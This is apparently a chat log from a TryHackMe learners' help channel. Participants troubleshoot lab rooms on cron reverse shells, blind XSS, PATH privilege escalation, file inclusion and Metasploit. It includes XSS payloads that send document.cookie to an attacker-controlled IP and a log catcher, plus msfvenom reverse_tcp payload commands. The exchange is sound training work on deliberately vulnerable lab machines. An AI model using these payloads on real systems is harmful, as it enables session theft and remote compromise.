[brazen notch]

leaving out the HOST lol

minor woopsie.

that's a python reverse shell I found on gtfobins

https://gtfobins.github.io/gtfobins/python/

[opal furnace]

did you try other cronjobs?

[brazen notch]

Yeah, I got that successfully working. I wanted to go one step further and try to get this python file working for science.

That's why I was able to look at /var/log/syslog to see that the cronjob was executing the python script as root. 😉

[opal furnace]

" is missing

also make sure RHOST is your ip

[brazen notch]

ooo

yeah

I have that

interesting

I guess I misstyped it. 😛

nice eye

ehhhhhhhhhhhhh, it still didn't go through >.<

[opal furnace]

well its a cronjob you should wait 3-5 mins

[brazen notch]

yeah, but it's set to * * * * * which means it should run every minute, to which I verified in syslog that it ran at 49 after my changes at 48

but, yeah i'll give it a couple min.

[opal furnace]

also you could try some other python shell from revshells.com

other than that, i have no clue what else you could do

[brazen notch]

Yeah, that's what I'm trying now, a different shell from revshell. 🙂

hehehehehehehe got it >:D

[brazen notch]

Thanks for your help. 🙂

[next lance]

Gave +1 Rep to @opal furnace

[crisp axle]

i'm very late to the party... you've called this test.py, but this isn't python, it's a bash script that calls python with the "-c" flag to execute the python command. try running it on your host machine as python and you'll get a syntax error. if you're debugging a remote shell that won't work, always try running it locally to connect to yourself - you'll see if there are any issues in the code

[brazen notch]

i figured it out, thanks tho

[next lance]

Gave +1 Rep to @crisp axle

[drifting tundra]

Got a question about task4 in the authentication bypass room. I don't understand how I can find out that the variable in $request is used and where to find the query string

hope this makes sense btw

[shadow echo]

I think you can not unless you just try or get to see the source code of what's happening in the back-end of the application. Regarding the query string, just google it. But the query string is what you append after the ? in the url in a GET request.

[modest arch]

I am not receiving the cookie through at the blind xss exercises and I don't think there is anything wrong with what I'm doing.

created ticket name test, contents:

</textarea><script>fetch('http://10.18.12.227:8000?cookie=' + btoa(document.cookie) );</script>

</textarea><script>fetch('06e9e6e991e492abcff0281ee386a30c.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

tried both of this and also serving with python3 -m http.server

point me if I did something wrong.

the ip I used was the tun0

[shadow echo]

Have you tried if you get a cookie when you manually open the ticket to make sure you payload is working?

[modest arch]

yeah, it is working but for some reason it isn't being fetched.

[modest arch]

this is an issue I've been having since the beginning and I came back to sort it out but still happening.

[shadow echo]

So what are you getting in the request catcher then when you manually open it and if it's working ?

[modest arch]

from serving nothing and from the request catcher DNS and HTTP.

GET /favicon.ico HTTP/1.1
Host: 011db5cbe216a986164567ac52cfddea.log.tryhackme.tech

We received a DNS lookup with type: AAAA for the domain:
011db5cbe216a986164567ac52cfddea.log.tryhackme.tech

[shadow echo]

Well I would try to restart the target machine and only put in </textarea><script>fetch('http://10.18.12.227:8000?cookie=' + btoa(document.cookie) );</script> or </textarea><script>fetch('06e9e6e991e492abcff0281ee386a30c.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script> and not both of them.

[modest arch]

I didn't used both but yeah let's see.

the same requests the catcher is intercepting are the same ones netcat and python3 serving is providing.

[shadow echo]

Also I think there should be multiple requests on the left side of the request catcher, so you might have to click through them.

[modest arch]

yeah no

[modest arch]

if your down I can livestream you.

[shadow echo]

Sure, let me try something first.

[modest arch]

sure man

[shadow echo]

Alright, restart the target machine and add http:// to your payload for the request catcher. I think that's breaking something if you don't do that. So: </textarea><script>fetch('http://06e9e6e991e492abcff0281ee386a30c.log.tryhackme.tech?cookie=' + btoa(document.cookie) );</script>

[modest arch]

effectively was the http:// causing the fuzz hmm I also tried multiple ways do get the cookie through tun0, server 1 /2 default ports and changing the port.

[modest arch]

thanks

[next lance]

Gave +1 Rep to @shadow echo

[sand wave]

in the protocols and servers need help in task 3

it is giving me a 404 error cannot get the flag

[idle bison]

Show us what you're doing please

[sand wave]

how can we get the flag

[idle bison]

retrieve the file "flag.thm"

You're asking for the index page at the moment

[sand wave]

Thanks Mate @idle bison for the help mate.

[next lance]

Gave +1 Rep to @idle bison

[waxen mantle]

for linprivescpath3 task 10, exploiting the path variable

I've got the path file launching the thm but not getting it to execute as root. am I missing a step? I added chmod u+s path and ran it but doesn't seem to make a difference

just launches as karen

[modest arch]

Hi ! I'm following the junior pentester path and found didn't understand the following in "Authentication Bypass" : -In task 4 : the fact that we can add a second parameter to the query and it actually works is dumb luck ? -In task 5 : How do you know the name and value of the page's cookies (nothing show up in developer tools). I'm knew to the discord so I hope I didn't mess up. Thanks a lot !!

[opal furnace]

Did you run the executable with sudo?

[opal furnace]

Task 4 i dont really understand what you mean, task 5 the cookie is base64 encoded, decoding it gives the info

[waxen mantle]

user isn't part of sudoers

[idle bison]

You sure that means they have no sudo permissions? Sudo is more granular than just the sudoers group.

[waxen mantle]

well here's what I did, made path.c on my computer and did gcc path.c -o path -w

on the remote machine, I wget it

added /tmp to $PATH

created a thm file in same directory with /bin/bash in it

chmod 777 thm

I did chmod u+s path

[opal furnace]

You are not supposed to create the script, the script should be there.

Think like this.. how can you get root if you created the script and you ll execute it with your permissions at the end

[waxen mantle]

the .py script under murdoch?

[opal furnace]

let me create an instance of the machine so i can help you accurately

which room are you doing exactly?

[waxen mantle]

linprivescpath3 task 10

well linprivescpath3 is the title, I guess it's Linus PrivEsc task 10

I thought he point was to utilize the path variable to execute the thm as root

[modest arch]

For Task 4 we're saying by adding a second parameter in the $_REQUEST variable it will basically override the email recovery variable, but I don't understand how we got the name of this variable... For task 5, the problem in I don't see the cookies, even encrypted

[opal furnace]

yes. thats what you are supposed to do. check the /home/murdoch folder. test is the binary, thm.py is the code so you can analyze it

[waxen mantle]

are you kidding me?!? I didn't have to create anything

ugg

I keep overthinking these things

thanks @opal furnace

[next lance]

Gave +1 Rep to @opal furnace

[opal furnace]

task 4: make sure you read the task again and make sure you understand it. ?email parameter isn't a guess. read the first URL from the curl and you ll see it there. To make it more "visual" create an account on the web, logout, then make a password recovery and check the link's parameters.
task 5: i just entered the site, and the cookie isn't encoded, you have the admin value on plain text. you can either edit it with curl like the task tells you to or do it web based (i suggest following the task), the rest of the questions from the task can be made without the machine.

[modest arch]

Ok many thanks, got it for task 4 ! (I didn't understand the explanations correctly!) Fort task 5 on the other hand, I see absolutely no cookie when inspecting the page or intercepting the request with burp... We're talking about the http://<ip>/cookie-test page right ?

[next lance]

Gave +1 Rep to @opal furnace

[opal furnace]

update: weird, it isn't showing it for me either now when reseting the machine. leave the website and do the task with curl

(you basically create the cookie, again make sure you understand the steps)

[modest arch]

Ok didn't realize we had to be logged in to see the cookies. So I have a "session cookie" which is encrypted and an "admin cookie" which is in plain text ! On the other hand, no sign of a "Logged_in" cookie 🤔
(For the record I completed successfully the entire room, I'm just making sure I understand everything, which obviously I don't 😉)

(Many thanks for your answers btw !!)

[opal furnace]

the logged_in part was a little bit of a guess, since when visiting cookie-test it tells you "Not Logged In"

[modest arch]

Oh ok ! Understood, thanks for everything, you rock !!

[snow quail]

Hey, quick question. Do I always need to migrate my meterpreter process to the lsass.exe process if I want to use hashdump? And I guess it's only for Windows?

[harsh pilot]

Hello guys,
I stuck in the room protocols and servers, I do not get the idea about getting the flag with telnet, someone pls help me

[idle bison]

No, not to lsass.
Just to an NT Authority process

[idle bison]

You're manually sending a HTTP request

At least from what I've seen of it

[snow quail]

Ah, thank you!

[next lance]

Gave +1 Rep to @idle bison

[harsh pilot]

Yes,
telnet <attack machine ip> 80
GET /index.html HTTP/1.1
host: telnet
. RUN cat flag.thm

I tried it

[harsh pilot]

Do I need to perform telnet processes that have been done in Network Services room🙄

[idle bison]

That's the wrong IP address. It needs to be the IP of the target

And no. You can pretty much ignore what the network aervices telnet section taught you. The application there was custom built

[harsh pilot]

Thanks, once again

[final garden]

At Metasploit Exploitation task 5, the hint for the first task says ||The target is missing the MS17-010 patch.|| I tried scanning for this one or using the exploit but I get that the machine is no vulnerable to this one

It seems like I started another target machine without closing the old one... 😣

I still have problems, so if someone can help me, please reply to me

[snow quail]

Perhaps you are using the wrong exploit. If I recall correctly I got 2 results when looking for this vulnerability and only one of them was suitable for the machine you want to exploit.

[final garden]

Now is working, I think was the machine that was not ready yet, I am sorry for bothering you with these 😅 thanks!

[next lance]

Gave +1 Rep to @snow quail

[snow quail]

Ah happens sometimes, glad it ended up working!

[final garden]

So, as a subscriber when I start another target machine I do not get the error message that I can start just one at the moment. The idea is that I had the banner with the information of my old machine deployed. How can I prevent this in the future?

[shadow echo]

Just terminate the old target machine and start the new target machine if it's within the same room?

[final garden]

Yes, but sometimes I forget about the old one. I thought maybe is an options for this

[drifting tundra]

I'm in the file influcion room and am just wondering how do I know what security a developer has built in? I mean how do I know if it's filtered keywords or not? Is this just trial and error? Thanks!

[final garden]

So, for example if you will search for ../etc/passwd and you will see at the output that you have just /etc/passwd, that means that "../" is filtered to be skipped

You understand by error if the server tries the same path as your input

[final garden]

Metasploit Exploitation Task 6, when I want to run the script on the target machine I get segmentation fault. Does anyone know how to solve this?

[shadow echo]

Make sure the payload you used with msfvenom matches the payload you are using for your handler(listener).

[final garden]

So I use this command to create the rev_shell: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe and I used ip address of my machine. Then I transfer on the vulnerable machine and I start multi handler on my machine with the same lhost and lport.

I saw in examples that he has the same options, but when he run the command the message is: "Started reverse TCP handler..." and the ip is different from the lhost. It seems logic for me, but I do not have any rhost option in mine, so for me the same message is using my machine ip

[shadow echo]

show your listener options in msfconsole pls

[final garden]

I need to have a module too, right?

[shadow echo]

So first of all, the LHOST is the same as your tun0 IP and the same you used in the msfvenom command, right?

[final garden]

Yes

[shadow echo]

And the 2nd thing, as mentioned before, the payload for your listener has to be the same as you used in msfvenom. So regarding to that screenshot it is not the same.

[final garden]

Ok, I solve this, still not working

[shadow echo]

Still not the same payload as you mentioned in your message before.

[final garden]

Sorry Fontaene, was this one "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf"